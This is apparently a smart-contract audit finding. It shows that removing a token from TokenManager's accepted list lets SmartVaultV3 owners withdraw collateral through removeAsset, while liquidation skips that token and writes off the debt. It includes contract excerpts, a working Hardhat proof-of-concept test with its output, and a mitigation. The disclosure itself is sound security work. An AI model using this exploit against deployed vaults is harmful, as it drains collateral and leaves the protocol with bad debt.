Description
If a token is removed from the list of accepted tokens in the TokenManager contract, vaults that already have debt taken out against the removed token collateral will immediately become undercollateralized.
Attempts at calling SmartVaultV3::removeCollateral to withdraw the removed token collateral will fail due to SmartVaultV3::canRemoveCollateral returning false, even if the vault has no debt.
function removeCollateral(bytes32 _symbol, uint256 _amount, address _to) external onlyOwner {
ITokenManager.Token memory token = getTokenManager().getToken(_symbol);
require(canRemoveCollateral(token, _amount), UNDER_COLL);
IERC20(token.addr).safeTransfer(_to, _amount);
emit CollateralRemoved(_symbol, _amount, _to);
}
Assuming the vault only holds the removed token as collateral for simplicity, SmartVaultV3::maxMintable will not include the removed token as part of the calculation, so the return value will be 0. Therefore, this function will always either return false or revert due to underflow.
function canRemoveCollateral(ITokenManager.Token memory _token, uint256 _amount) private view returns (bool) {
if (minted == 0) return true;
uint256 currentMintable = maxMintable();
uint256 eurValueToRemove = calculator.tokenToEurAvg(_token, _amount);
return currentMintable >= eurValueToRemove &&
minted <= currentMintable - eurValueToRemove;
}
However, the vault owner is able to withdraw their collateral with no restriction by calling SmartVaultV3::removeAsset with the removed collateral token address since it is no longer considered an accepted collateral token.
function removeAsset(address _tokenAddr, uint256 _amount, address _to) external onlyOwner {
ITokenManager.Token memory token = getTokenManager().getTokenIfExists(_tokenAddr);
if (token.addr == _tokenAddr) require(canRemoveCollateral(token, _amount), UNDER_COLL);
IERC20(_tokenAddr).safeTransfer(_to, _amount);
emit AssetRemoved(_tokenAddr, _amount, _to);
}
Here, once the token is removed from the list of accepted tokens, borrowers are able to remove their collateral and EURO debt without being liquidated even though SmartVaultV3::undercollateralised returns true.
function liquidate() external onlyVaultManager {
require(undercollateralised(), "err-not-liquidatable");
liquidated = true;
minted = 0;
liquidateNative();
ITokenManager.Token[] memory tokens = getTokenManager().getAcceptedTokens();
for (uint256 i = 0; i < tokens.length; i++) {
if (tokens[i].symbol != NATIVE) liquidateERC20(IERC20(tokens[i].addr));
}
}
Here, this function loops over the currently accepted collateral tokens and liquidates the vault. This means the removed token is never actually liquidated despite backing outstanding debt, meaning that the borrower can retain ownership of the undercollateralized loan since their debt is written off by resetting the minted state variable.
Impact
It is highly likely that the protocol will accrue bad debt immediately after removing a collateral token from the list of accepted tokens, so this is a high-severity issue.
Proof of Concept
Apply the following git diff and run the test with the command below:
@@ -34,6 +34,41 @@ describe('SmartVault', async () => {
Vault = await ethers.getContractAt('SmartVaultV3', vaultAddress);
});
+ describe('poc', async () => {
+ it('allows removal of ERC20s that are or are not valid collateral, if not undercollateralising', async () => {
+ const SUSD18 = await (await ethers.getContractFactory('ERC20Mock')).deploy('sUSD18', 'SUSD18', 18);
+ const ClUsdUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('USD / USD');
+ await ClUsdUsd.setPrice(100000000)
+ await TokenManager.addAcceptedToken(SUSD18.address, ClUsdUsd.address);
+ const SUSD18value = ethers.utils.parseEther('1000');
+
+ await SUSD18.mint(Vault.address, SUSD18value);
+
+ let { collateral, maxMintable } = await Vault.status();
+ expect(getCollateralOf('SUSD18', collateral).amount).to.equal(SUSD18value);
+
+ await Vault.connect(user).mint(user.address, maxMintable.mul(9).div(10));
+
+ console.log("vault balance of collateral before: ", (await SUSD18.balanceOf(Vault.address)).toString());
+ console.log("user balance of collateral before: ", (await SUSD18.balanceOf(user.address)).toString());
+
+ // remove the collateral from the list of accepted tokens
+ let symbol = ethers.utils.formatBytes32String('SUSD18');
+ await TokenManager.removeAcceptedToken(symbol);
+
+ // vault is now undercollateralised
+ console.log("vault undercollateralized: ", await Vault.undercollateralised());
+ let { collateral: euroCollateral } = await Vault.status();
+ console.log("vault collateral: ", euroCollateral[0].amount.toString());
+
+ // but the collateral backing the loan can be removed
+ await expect(Vault.connect(user).removeAsset(SUSD18.address, SUSD18value, user.address));
+
+ console.log("vault balance of removed collateral token after: ", (await SUSD18.balanceOf(Vault.address)).toString());
+ console.log("user balance of removed collateral token after: ", (await SUSD18.balanceOf(user.address)).toString());
+ })
+ });
+
describe('ownership', async () => {
it('will not allow setting of new owner if not manager', async () => {
const ownerUpdate = Vault.connect(user).setOwner(otherUser.address);
Output:
❯ npx hardhat test --grep "poc"
SmartVault
poc
vault balance of collateral before: 1000000000000000000000
user balance of collateral before: 0
vault undercollateralized: true
vault collateral: 0
vault balance of removed collateral token after: 0
user balance of removed collateral token after: 1000000000000000000000
✔ allows removal of ERC20s that are or are not valid collateral, if not undercollateralising (537ms)
1 passing (3s)
Recommended Mitigation
Adjust the handling of accepted collateral tokens such that new EURO loans cannot be minted with previously accepted collateral while still ensuring that the tokens backing outstanding loans cannot be withdrawn until swapped for an alternative collateral token.
